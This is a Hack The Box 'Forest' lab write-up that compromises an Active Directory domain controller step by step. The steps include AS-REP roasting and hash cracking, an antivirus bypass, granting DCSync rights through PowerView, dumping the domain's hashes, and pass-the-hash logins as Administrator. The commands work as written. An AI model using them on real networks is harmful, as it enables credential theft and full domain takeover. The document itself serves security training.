Post

HTB - Forest

Forest - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Forest

1
2
nmap 10.129.95.210 -A

image1

  • Looks like this could be the DC (Kerberos)
  • Got the domain from ldap - htb.local

  • Port 445 SMB is open
  • Enumerate with enum4linux
1
2
enum4linux 10.129.95.210

  • Found users:

image2

image3

  • Can also use LDAP to enumerate:
1
ldapsearch -H ldap://10.129.95.210 -x -s base -b '' "(objectClass=*)" "*" +

image4

1
ldapsearch -H ldap://10.129.95.210 -x -b "DC=htb,DC=local" | grep "dn: CN=" | grep "OU="

image5

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

  • Add users in a file (users)

  • Check if usernames are valid:

1
2
kerbrute userenum --dc 10.129.95.210 -d htb.local users -o validusers.txt

image6

  • Vind vulnerable users:
1
2
impacket-GetNPUsers htb.local/ -users users -no-pass -dc-ip 10.129.95.210

image7

  • Save the whole hash to a file and use hashcat:
1
2
hashcat -m 18200 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt

image8

Got credentials for a service account.

  • Test with CME:
1
2
crackmapexec smb 10.129.95.210 -u svc-alfresco -p <password>

image9

  • Remote using WinRM:
1
2
evil-winrm -i 10.129.95.210 -u svc-alfresco -p <password>

image10

image11

Priv Esc:

1
2
whoami /all

image12

  • Part of the: BUILTIN\Account Operators

The Account Operators group grants limited account creation privileges to a user.

Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups.

Group members can log in locally to domain controllers

  • Upload Sharphound:
1
2
upload SharpHound.exe

  • Run Sharphound:
1
2
.\SharpHound.exe --CollectionMethods All --Domain htb.local --ZipFileName loot.zip

  • Download the loot.zip file:
1
2
download 20240205024401_loot.zip

  • Start Neo4j:
1
2
sudo neo4j console

  • Open Bloodhound Drag and drop the loot.zip file into bloodhound

Click on - Find Shortest Paths to Domain Admins

image13

If there is loads of old data in bloodhound:

Connect to the neo4j browser gui http://localhost:7474

Run:

1
2
3
4
MATCH (n)

DETACH DELETE n;

image14

image15

  • The user svc-alfresco is part of the Account Operators group

image16

  • Click on the Account Operators node and Reachable High Value Targets

image17

image18

image19

  • Account operators has GenericAll to the Exchange Windows Permissions

image20

  • And that in turn has WriteDACL to the HTB.LOCAL

image21

  • HTB.LOCAL is the domain so we know that all accounts are part of it ie. Administrator

  • And clicking on the Domain Admins’ node - We can see that Administrator account is a part of that group. And we need DA

  • To exploit:

  • Create a new user (tooby):

1
2
net user tooby Password123! /add /domain

  • Add to the group Exchange Windows Permissions
1
2
net group "Exchange Windows Permissions" tooby /add

  • Open the menu in evil-winrm:
1
2
menu

image22

  • Use Bypass-4MSI - To bypass AV

image23

  • Upload PowerView.ps1 and run it: upload PowerView.ps1
1
2
3
4
  . .\PowerView.ps1
  $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  $Cred = New-Object System.Management.Automation.PSCredential('htb\tooby', $SecPassword)
  Add-DomainObjectAcl -PrincipalIdentity tooby -Credential $Cred -Rights DCSync
  • User tooby has DCSync rights now

  • Run a DCSync to get hashes:

1
impacket-secretsdump htb/tooby:'Password123!'@10.129.95.210 -dc-ip 10.129.95.210

image24

  • Got htb.local\Administrator hash

  • Get shell:

  • Psexec:

1
impacket-psexec htb/administrator@10.129.95.210 -hashes "<password_hash>"

image25

image26

  • Evil-WinRM:
1
evil-winrm -i 10.129.95.210 -u administrator -H "<second_half_of_hash>"

image27

image28

This post is licensed under CC BY 4.0 by the author.